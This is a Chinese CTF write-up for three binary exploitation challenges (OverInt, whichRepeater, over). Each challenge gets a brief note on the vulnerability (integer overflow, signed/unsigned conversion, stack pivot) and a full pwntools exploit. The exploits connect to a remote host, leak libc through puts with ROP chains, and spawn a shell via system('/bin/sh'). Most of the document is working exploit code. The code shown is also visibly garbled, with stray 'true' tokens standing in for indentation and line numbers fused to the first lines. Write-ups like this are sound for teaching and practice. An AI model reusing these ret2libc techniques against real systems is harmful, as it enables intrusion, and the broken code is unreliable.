题目清单:
- 2018鹏程杯初赛OverInt
- whichRepeater
- 2018安恒杯6月Over
Such_over(overInt)
64位elf,IDA静态分析,程序比较繁琐
输入4字节数key,由sub_4007D1进行check,得到的值应为35,可通过暴力z3跑出很多结果,通过该判定
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20from z3 import *
a = [BitVec('a[%d]'%i,32) for i in range(0,4)]
ans = 0
s = Solver()
for i in range(4):
trues.add(And(a[i]>=30,a[i]<128))
s.add(((((((((ans*4+(a[0]>>4))^(a[0]<<10))
true*4+(a[1]>>4))^(a[1]<<10))
true*4+(a[2]>>4))^(a[2]<<10))
true*4+(a[3]>>4))^(a[3]<<10))
true%47 == 35)
while s.check() == sat:
trueaa = []
truefor i in range(4):
truetrueaa[i] = s.model()['a[' + i + ']']
truetrues.add(a[i]!=aa[i])
trueprint(aa)sub_40071是再次输入4个字节,表示将要输入的数字个数,求其和,需等于v17即0x20633372,随意构造即可。
之后需判定使最开始输入的四字节key+v17小于4,这里需得整数溢出。很奇怪得是,我跑的时候溢出多了以为溢出成负数然而并不可以,只有正正好好的溢出0~3,故而直接试了4个数,果然有能通过前面check的,即用。
接下来的修改部分不考虑数组大小,可以修改数组之外的部分,即可把payload布置在栈中。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74from pwn import *
from LibcSearcher import *
r = remote('47.106.94.13','50001')
p = ELF('./overInt')
context(os='linux',arch='i386',log_level='debug')
def pre():
truer.recvuntil('number: \n')
truer.send('\x8f\xCC\x9C\x5F')
truer.recvuntil('have?\n')
truer.send('\5' + '\0\0\0')
truer.recvuntil('is: \n')
truer.send('\0\0\0' + ' ')
truer.recvuntil('is: \n')
truer.send('\0\0' + 'c' + '\0')
truer.recvuntil('is: \n')
truer.send('\0' + '3' + '\0\0')
truer.recvuntil('is: \n')
truer.send('r' + '\0\0\0')
truer.recvuntil('is: \n')
truer.send('\0\0\0\0')
def modify(payload):
truer.recvuntil('modify?\n')
truer.send(' ' + '\0\0\0')
truefor i in range(32):
truetruer.recvuntil('modify?\n')
truetruer.send(chr(0x38 + i) + '\0\0\0')
truetruer.recvuntil('in?\n')
truetruer.send(payload[i])
pre()
plt_puts = p.plt['puts']
got_puts = p.got['puts']
vul_addr = 0x0040087F
rdi_addr = 0x00400B13
payload1 = p64(rdi_addr) + p64(got_puts) + p64(plt_puts) + p64(vul_addr)
modify(payload1)
r.recvuntil('hello!')
puts_addr = u64(r.readline()[0:6] + '\0\0')
print(puts_addr)
pre()
obj = LibcSearcher('puts',puts_addr)
offset_puts = obj.dump('puts')
offset_sys = obj.dump('system')
offset_binsh = obj.dump('str_bin_sh')
libcbase = puts_addr - offset_puts
sys_addr = libcbase + offset_sys
binsh_addr = libcbase + offset_binsh
payload2 = p64(rdi_addr) + p64(binsh_addr) + p64(sys_addr) + p64(1)
modify(payload2)
r.recvuntil('hello!')
r.interactive()
# flag{b536a9b6-b755-4b10-a6b0-8d42e4c001e8}
how_do_with_one(whichRepeater)
32位elf,IDA静态分析。
如下图所示,存在着无符号短整型与有符号短整型转换的漏洞。如果输入-32678,其判定为小于等于1024,且能读入0x800个字节。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43from pwn import *
from LibcSearcher import *
r = remote('47.106.94.13','50002')
p = ELF('./whichRepeater')
context(os='linux',arch='i386',log_level='debug')
plt_puts = p.plt['puts']
got_puts = p.got['puts']
vul_addr = 0x0804877D
r.recvuntil('reapeat?\n')
r.send('-32768\n')
payload1 = 'a'*(0x41B + 0x4) + p32(plt_puts) + p32(vul_addr) + p32(got_puts) # + 'a'*(0x800 - 0x42B)
r.recvuntil('32768\n')
r.send(payload1)
x = r.recvuntil('reapeat?\n')
puts_addr = u32(x[0:4])
obj = LibcSearcher('puts', puts_addr)
offset_puts = obj.dump('puts')
offset_sys = obj.dump('system')
offset_binsh = obj.dump('str_bin_sh')
libc = puts_addr - offset_puts
sys_addr = libc + offset_sys
binsh_addr = libc + offset_binsh
r.send('-32768\n')
payload2 = 'a'*(0x41B + 0x4) + p32(sys_addr) + p32(1) + p32(binsh_addr) # + 'a'*(0x800 - 0x42B)
r.recvuntil('32768\n')
r.send(payload2)
r.interactive()
# flag{23b76a24-2592-4d04-8055-5f4f79a758fb}
what_stack(over)
64位elf,IDA静态分析。
与ACTF线上赛baby_stack相似,也是只有16字节的利用空间,通过
mov esp,ebp | pop ebp
,将栈移动,唯一不同的地方是,buf的地址并没有告诉我们,所以我们可以通过输入无意义字符的方式,泄露栈中上一个栈帧,通过计算得到sub_400676函数中的buf地址,即ebp-10h(esp抬高)-10h(返回地址与ebp)-50h(buf偏移量)从而我们可以获得buf地址,构造栈迁移payload,常规泄露libc地址,因为是x86,64位elf,所以要用
pop rdi | ret
,将参数传入rdi寄存器。同理获得libc版本后进行获取权限的payload。不过此时的buf地址,因为之前的操作会有相应的变化,新的buf地址应为
当前buf_addr + 40(执行payload) -8(push rbp) + 50h(buf偏移量)
。exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45from pwn import *
from LibcSearcher import *
r = remote('47.106.94.13','50000')
p = ELF('./over')
context(os='linux',arch='i386',log_level='debug')
plt_puts = p.plt['puts']
got_puts = p.got['puts']
vul_addr = 0x400676
rdi_addr = 0x400793
lev_addr = 0x4006be
r.recvuntil('>')
r.send('a'*0x50)
get_buf_str = r.recvline()[0x50:0x56] + '\0\0'
buf_addr = u64(get_buf_str) - 0x50 - 0x10 - 0x10
payload1 = p64(1) + p64(rdi_addr) + p64(got_puts) + p64(plt_puts) + p64(vul_addr) + 'a'*(0x50-40) + p64(buf_addr) + p64(lev_addr)
r.recvuntil('>')
r.send(payload1)
r.recvline()
puts_addr = u64(r.recvline()[0:6]+'\0\0')
obj = LibcSearcher('puts', puts_addr)
offset_system = obj.dump('system')
offset_binsh = obj.dump('str_bin_sh')
offset_puts = obj.dump('puts')
libcbase = puts_addr - offset_puts
system_addr = libcbase + offset_system
binsh_addr = libcbase + offset_binsh
buf_addr = buf_addr + 32 - 0x50
payload2 = p64(1) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(vul_addr) + 'a'*(0x50-40) + p64(buf_addr) + p64(lev_addr)
r.recvuntil('>')
r.send(payload2)
r.interactive()
# flag{dc03e80e-2cd9-41a1-8e1d-56aca8aeb5bf}